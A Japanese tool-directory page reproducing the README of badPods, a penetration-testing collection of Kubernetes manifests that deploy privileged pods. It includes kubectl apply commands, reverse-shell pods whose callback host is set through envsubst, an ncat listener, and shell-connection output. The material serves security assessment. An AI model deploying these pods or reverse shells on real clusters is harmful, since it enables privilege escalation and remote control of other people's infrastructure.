Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
badPods — 特権を昇格させたポッドを作成するマニフェストのコレクション。 | Kitploit
ツール/GitHubGitHub/bishopfox/badpods
特権昇格コンテナセキュリティエクスプロイトペネトレーションテストクラウドセキュリティ設定ミスコンテナエスケープ
GitHubbishopfox/badpods

badPods

特権を昇格させたポッドを作成するマニフェストのコレクション。

リポジトリを見る
7061187ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Bad Pods

さまざまな昇格特権を持つポッドを作成するマニフェスト集です。hostNetwork、hostPID、hostPath、hostIPC、privileged などのセキュリティ上重要なポッド属性を許可した場合の影響をすばやく実証できます。

詳細な背景については、以下のブログ記事を参照してください: Bad Pods: Kubernetes Pod Privilege Escalation。

目次

  • Bad Pods のラインナップ
  • 前提条件
  • リポジトリ構成
  • 使用方法
    • ハイレベルな進め方
    • 使用例
      • クローンしたローカルリポジトリから8つの Bad Pod をすべて作成する
      • GitHub から8つの Bad Pod をすべて作成する
      • リバースシェル型の Bad Pod を8つすべて作成する
      • everything-allowed ポッドを使用して8種類すべてのリソースタイプを作成する
      • hostNetwork ポッドで cronjob を作成する
      • priv-and-hostpid ポッドで deployment を作成する
      • privileged ポッドを使用してリバースシェルを作成する

Bad Pods のラインナップ

以下の各リンクには、詳細な使用方法と侵害後 (post exploitation) の推奨事項が記載されています。

  • Bad Pod #1: Everything allowed
  • Bad Pod #2: Privileged and hostPid
  • Bad Pod #3: Privileged only
  • Bad Pod #4: hostPath only
  • Bad Pod #5: hostPid only
  • Bad Pod #6: hostNetwork only
  • Bad Pod #7: hostIPC only
  • Bad Pod #8: Nothing allowed

前提条件、リポジトリの構成、一般的な使用パターンの詳細については、以下のセクションを参照してください。

前提条件

  1. クラスターへのアクセス権
  2. 少なくとも1つのネームスペースで、以下のいずれかのリソースタイプを作成する RBAC 権限:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. ポッドに対して exec を実行する RBAC 権限、またはポッドからのリバースシェルが自分に到達することを許可するネットワークポリシー
  4. Pod セキュリティポリシーによる強制がないこと。または、1つ以上のセキュリティ上重要な属性を持つポッドの作成を許可するポリシーが存在すること

リポジトリ構成

  • 自己完結型ですぐに使える128個のマニフェスト。なぜこんなに多いのか?
    • 8種類の Bad Pod (hostpid、hostnetwork、everything-allowed など)
    • ポッドを作成できる8種類のリソースタイプ (pod、deployment、replicaset、statefulset など)
    • 作成したポッドへアクセスする2つの方法 (exec とリバースシェル)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

ポッドを作成する方法は8通りある

Eviatar Gerzi (@g3rzi) 氏が投稿 Eight Ways to Create a Pod で指摘しているように、ポッドまたはポッドのセットを作成できるコントローラーは8種類あります。ポッド自体の作成は許可されていないかもしれませんが、1つ以上のポッドを作成する別のリソースタイプを作成できる場合があります。各 badPod タイプには、8種類すべてのリソースタイプに対応するマニフェストが用意されています。

しかし、待ってください。さらに悪いことがあります! ポッドを作成できる現在の8種類の Kubernetes コントローラーに加えて、クラスターに適用されるとポッドを作成できるサードパーティ製コントローラーも存在します。kubectl api-resources を確認して、それらにも目を配ってください。

リバースシェル

一般的ではありますが、作成できるポッドに対して常に exec を実行できるとは限りません。そうした状況を支援するために、Rory McCune (@raesene) 氏の ncat dockerhub イメージを使用するバージョンのマニフェストが各タイプに含まれています。作成されると、ポッドはリスナーに対して暗号化されたコールバックを実行します。

使用方法

manifests ディレクトリ内の各リソースは、許可されるとクラスターをリスクにさらす特定の属性、または属性の組み合わせを対象としています。

ハイレベルな進め方

オプション1: 体系的なアプローチ

  1. RBAC の評価 - 作成できるリソースタイプを特定する
  2. Admission Policy の評価 - 作成できる Bad Pod の種類を特定する
  3. リソースの作成 - 許可されている内容に基づいて、特定の badPod タイプとリソースタイプを使用してリソースを作成する
  4. 侵害後活動 (Post Exploitation) - そのタイプの README に記載されている侵害後の手順を評価する
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

オプション2: ショットガン・アプローチ

  1. リソースの作成 - さまざまなマニフェストを適用して、何が機能するかを試す
    • GitHub から8つの Bad Pod をすべて作成する
    • everything-allowed ポッドを使用して8種類すべてのリソースタイプを作成する
  2. 侵害後活動 (Post Exploitation) - 作成されたポッドについて、そのタイプの README に記載されている侵害後の手順を評価する
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

使用例

  • クローンしたローカルリポジトリから8つの Bad Pod をすべて作成する
  • GitHub から8つの Bad Pod をすべて作成する
  • リバースシェル型の Bad Pod を8つすべて作成する
  • everything-allowed ポッドを使用して8種類すべてのリソースタイプを作成する
  • hostNetwork ポッドで cronjob を作成する
  • priv-and-hostpid ポッドで deployment を作成する
  • privileged ポッドを使用してリバースシェルを作成する

クローンしたローカルリポジトリから8つの Bad Pod をすべて作成する

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

GitHub から8つの Bad Pod をすべて作成する

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

リバースシェル型 Bad Pod を8つすべて作成する

各ポッドに自分のホストとポートを直接編集する手間を避けるには、環境変数と envsubst コマンドを使用できます。最初にすべてのリスナーを起動しておくことを忘れないでください!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

hostNetwork ポッドで cronjob を作成する

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

作成されたポッドを確認する

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

ポッドに exec する

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

priv-and-hostpid ポッドで deployment を作成する

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

作成されたポッドを確認する

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

ポッドに exec する

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

everything-allowed ポッドを使用して8種類すべてのリソースタイプを作成する

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

作成されたすべてのポッドを表示する

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

everything-allowed の全リソースを削除する

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

privileged ポッドを使用してリバースシェルを作成する

リスナーをセットアップする

root@kitploit:~
ncat --ssl -vlp 3116

env 変数と envsubst を使用して、ローカルの yaml を変更せずにポッドを作成する

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

シェルを取得する

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

コントリビューション

プルリクエストと issue を歓迎します。

謝辞

Kubernetes のオフェンシブセキュリティに関する豊富な知識を公開してくださった Rory McCune、Duffie Cooley、Brad Geesaman、Tabitha Sable、Ian Coldwater、Mark Manning、Eviatar Gerzi、そして Madhu Akula に感謝します。

参考資料と関連情報

各 Bad Pod には独自の参考資料と関連情報のセクションがありますが、ここでは Kubernetes のセキュリティ評価とペネトレーションテストのスキルを向上させるのに役立つ、より一般的なリソースを紹介します。

新進気鋭のリソース - 2020

  • Container Security Site by @raesene
  • CloudSecDocs - Container Security by @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters by @antitree
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions by @g3rzi - 講演 / スライド
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters by @antitree - 講演 / ブログ
  • Kubernetes Goat by @madhuakula - リポジトリ / ガイド

定番リソース、2019年まで遡る

  • Secure Kubernetes - KubeCon NA 2019 CTF by @tabbysable, @petermbenjamin, @jimmesta, and @BradGeesaman
  • The Most Pointless Kubernetes Command Ever by @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults by @IanColdwater and @mauilion- 講演 / リポジトリ
  • Understanding Docker container escapes by @disconnect3d_pl
  • A Compendium of Container Escapes by @drraid and @0x7674
  • Attacking Kubernetes through Kubelet
ツールをダウンロード